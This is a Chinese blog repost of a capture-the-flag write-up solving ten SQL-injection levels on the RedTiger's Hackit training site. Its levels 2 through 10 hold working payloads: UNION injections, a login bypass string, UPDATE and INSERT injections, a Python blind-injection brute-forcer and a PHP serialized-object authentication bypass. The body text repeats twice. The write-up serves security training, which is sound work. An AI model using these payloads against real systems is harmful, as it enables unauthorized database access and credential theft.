渗透测试演练平台RedTigers Hackit通关writeup以及wechall平台介绍
2016-12-30 15:20
2446 查看
本文转载自Redtiger Hackit Writeup
RedTigers Hackit是一个训练SQL注入漏洞和PHP方面的网站,地址为https://redtiger.labs.overthewire.org/。相比hackinglab上面考察的常规SQL注入,redtiger上面的题目更多考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较简单。根据作者的说法,所有的题目都是根据他发现的真实的漏洞编写的。
这个网站也是wechall的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面获取积分。wechall和很多类似于RedTigers Hackit的平台都有合作,这些平台上做题获取flag之后都可以在wechall上面计分并且排名。根据网站上面的要求,不能公布答案,而且题目数据不时会有一些变化,所以这篇文章只是简单写一下做题思路,没有flag。
level 1
常规的SQL注入。先用order by猜有几列,再用union select查出username和password。
拿到flag之后到下图这个地方提交,提交之后会显示你得了多少分,之后的题目类似。我对wechall的设计也是无语了,这个提交的页面找了至少半个小时。在首页放一个submit flag的按钮不行吗???
level 2
这里我们用常见的万能密码绕过。用户名随意,密码' or '1'='1即可。
level 3
题目的提示是Try to get an error。我们点一下TheCow,url变成了http://redtiger.labs.overthewire.org/level3.php?usr=MDYzMjIzMDA2MTU2MTQxMjU0。
我们把usr变为一个数组,然后提交试试。
顺利得到了报错信息。看看报错信息中的文件。
实际上这个文件就是对传进来的参数进行加密和解密。构造的明文为' union select 1,password,2,3,4,5,6 from level3_users where username='Admin,加密后得到
https://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw
level 4
主页上也说了,这一关是盲注。那么我们只有写个程序来跑一下了。
level 5
根据提示密码要md5加密,构造出' union select 0x61646d696e as username, md5(123) as password#。
level 6
测试http://redtiger.labs.overthewire.org/level6.php?user=1',页面报错,那么说明在user字段是存在注入的。执行到http://redtiger.labs.overthewire.org/level6.php?user=1 order by 6%23,页面报错,那么应该有5个字段。
执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23显示User not found。
执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,username,3,4,5 from level6_users where status=1%23返回了username。
无论把password放在哪一位都没有结果,猜想后台进行了两次查询。
$sql1 = select username,password from level6_users where id=xxx;
$sql2 = select username,email from level6_users where username=."'".$username."'";
下面给出我们的payload。
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23
$sql1 = select username,password from level6_users where id=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1%23,3,4,5
$sql2 = select username,email from level6_users where username='admin1' union select 1,2,3,password,5 from level6_users where status=1
页面报错,尝试十六进制成功。
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23
level 7
题目上已经说明了,no comments, no substr, no substring, no ascii, no mid, no like。过滤了注释,substr,substring,ascii,mid,like。加一个单引号报错。
那么sql语句是SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'%' OR text.title LIKE '%'%')。用order by猜字段,发现order by被屏蔽了,尝试用union select。这里提交数据最好用temper data之类的工具。
最终,我们可以得到字段长度是4,显示位是3,4。
在知道了显示位之后,接下来就需要获取autor的内容。
提交TestUserforg00gle,得到flag。
level 8
在Email处加一个引号,报错。
猜测后台的sql语句应该是update table set name='inputname',email='inputemail',icq='inputicq',age='inputage' where id=1,那么我们在Email字段输入hans%40localhost',name=password,icq=',执行的sql语句将会是update table set name='hans%40localhost',name=password,icq='',email='inputemail',icq='inputicq',age='inputage'
where id=1。因为在update语句中出现了两个相同的name字段,实际上name字段的值会被赋为后一个。
level 9
在text中添加引号发现会报错。
猜测后台的sql语句应该是insert into tablename(autor,title,text) values ('inputautor','inputtitle','inputtext'),那么我们在text字段输入123'),((select username from level9_users limit 1), (select password from level9_users limit 1),'456,执行的sql语句将会是insert into tablename(autor,title,text)
values ('inputautor','inputtitle','123'), ((select username from level9_users limit 1),(select password from level9_users limit 1),'456')。
level 10
同样使用tamper data得到点击login时提交的数据。
base64解码得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。
RedTigers Hackit是一个训练SQL注入漏洞和PHP方面的网站,地址为https://redtiger.labs.overthewire.org/。相比hackinglab上面考察的常规SQL注入,redtiger上面的题目更多考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较简单。根据作者的说法,所有的题目都是根据他发现的真实的漏洞编写的。
这个网站也是wechall的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面获取积分。wechall和很多类似于RedTigers Hackit的平台都有合作,这些平台上做题获取flag之后都可以在wechall上面计分并且排名。根据网站上面的要求,不能公布答案,而且题目数据不时会有一些变化,所以这篇文章只是简单写一下做题思路,没有flag。
level 1
常规的SQL注入。先用order by猜有几列,再用union select查出username和password。
拿到flag之后到下图这个地方提交,提交之后会显示你得了多少分,之后的题目类似。我对wechall的设计也是无语了,这个提交的页面找了至少半个小时。在首页放一个submit flag的按钮不行吗???
level 2
这里我们用常见的万能密码绕过。用户名随意,密码' or '1'='1即可。
level 3
题目的提示是Try to get an error。我们点一下TheCow,url变成了http://redtiger.labs.overthewire.org/level3.php?usr=MDYzMjIzMDA2MTU2MTQxMjU0。
我们把usr变为一个数组,然后提交试试。
顺利得到了报错信息。看看报错信息中的文件。
实际上这个文件就是对传进来的参数进行加密和解密。构造的明文为' union select 1,password,2,3,4,5,6 from level3_users where username='Admin,加密后得到
https://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw
level 4
主页上也说了,这一关是盲注。那么我们只有写个程序来跑一下了。
import string from re import * from urllib.request import * answer="" char=string.printable login ={'Cookie':'level4login=there_is_no_bug'} url="http://redtiger.labs.overthewire.org/level4.php?id=1%20and%201=(select%20count(*)%20from%20level4_secret%20where%20substr(keyword,{0},1)='{1}')" for q in range(1,22): for i in char: test=(url .format(q,i)) request=Request(test,None,headers=login) res=urlopen(request) s=res.read().decode() if(findall("Query returned 1 rows.",s)): print("{0} ".format(q)+i) answer+=i break print(answer)
level 5
根据提示密码要md5加密,构造出' union select 0x61646d696e as username, md5(123) as password#。
level 6
测试http://redtiger.labs.overthewire.org/level6.php?user=1',页面报错,那么说明在user字段是存在注入的。执行到http://redtiger.labs.overthewire.org/level6.php?user=1 order by 6%23,页面报错,那么应该有5个字段。
执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23显示User not found。
执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,username,3,4,5 from level6_users where status=1%23返回了username。
无论把password放在哪一位都没有结果,猜想后台进行了两次查询。
$sql1 = select username,password from level6_users where id=xxx;
$sql2 = select username,email from level6_users where username=."'".$username."'";
下面给出我们的payload。
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23
$sql1 = select username,password from level6_users where id=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1%23,3,4,5
$sql2 = select username,email from level6_users where username='admin1' union select 1,2,3,password,5 from level6_users where status=1
页面报错,尝试十六进制成功。
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23
level 7
题目上已经说明了,no comments, no substr, no substring, no ascii, no mid, no like。过滤了注释,substr,substring,ascii,mid,like。加一个单引号报错。
那么sql语句是SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'%' OR text.title LIKE '%'%')。用order by猜字段,发现order by被屏蔽了,尝试用union select。这里提交数据最好用temper data之类的工具。
最终,我们可以得到字段长度是4,显示位是3,4。
在知道了显示位之后,接下来就需要获取autor的内容。
提交TestUserforg00gle,得到flag。
level 8
在Email处加一个引号,报错。
猜测后台的sql语句应该是update table set name='inputname',email='inputemail',icq='inputicq',age='inputage' where id=1,那么我们在Email字段输入hans%40localhost',name=password,icq=',执行的sql语句将会是update table set name='hans%40localhost',name=password,icq='',email='inputemail',icq='inputicq',age='inputage'
where id=1。因为在update语句中出现了两个相同的name字段,实际上name字段的值会被赋为后一个。
level 9
在text中添加引号发现会报错。
猜测后台的sql语句应该是insert into tablename(autor,title,text) values ('inputautor','inputtitle','inputtext'),那么我们在text字段输入123'),((select username from level9_users limit 1), (select password from level9_users limit 1),'456,执行的sql语句将会是insert into tablename(autor,title,text)
values ('inputautor','inputtitle','123'), ((select username from level9_users limit 1),(select password from level9_users limit 1),'456')。
level 10
同样使用tamper data得到点击login时提交的数据。
base64解码得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。
$myarray = array( "username"=>"Monkey", "password"=>"0815password", );题目要求我们用TheMaster登录。把username改成TheMaster,password改成boolean类型的true即可绕过。a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;},base64编码之后是YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=。
相关文章推荐
- kali linux 2.0下搭建DVWA渗透测试演练平台
- kali linux 2.0下搭建DVWA渗透测试演练平台
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
- writeup--RedTiger's Hackit
- 渗透测试团队协作平台——Dradis Pro
- MetaSploit渗透测试平台之应用视频教程
- backtrack5平台使用metasploit framework进行渗透测试
- (jenkins)hudson平台搭建android项目持续化集成以及基于NativeDriver的自动化测试环境
- AgileEAS.NET平台视频会议培训第三辑-插件的安装、配置以及账户权限系统演练
- DVWS渗透测试平台训练
- AgileEAS.NET平台视频会议培训第一辑-AgileEAS.NET平台介绍及药品系统的SAAS搭建演练
- BackTrack平台中主流渗透测试工具
- 微信公众开放平台开发01---微信公众平台介绍,以及开发准备
- 嵌入式 linux以及arm平台上网络设备测试工具iperf交叉编译以及使用
- Java网络编程 连接测试以及异常介绍
- 开放平台介绍以及目前国内主要的开放平台
- AgileEAS.NET平台视频会议培训第一辑-AgileEAS.NET平台介绍及药品系统的SAAS搭建演练
- 本附录介绍iOS系统包含的框架,它们为编写iOS平台的软件提供必要的接口。下面的表格尽可能地列出框架中的类、方法、函数、类型以及常量使用的关键前缀,请避免在您的符号名称中使用这些前缀。
- Android和iOS开发测试平台介绍-DeployGate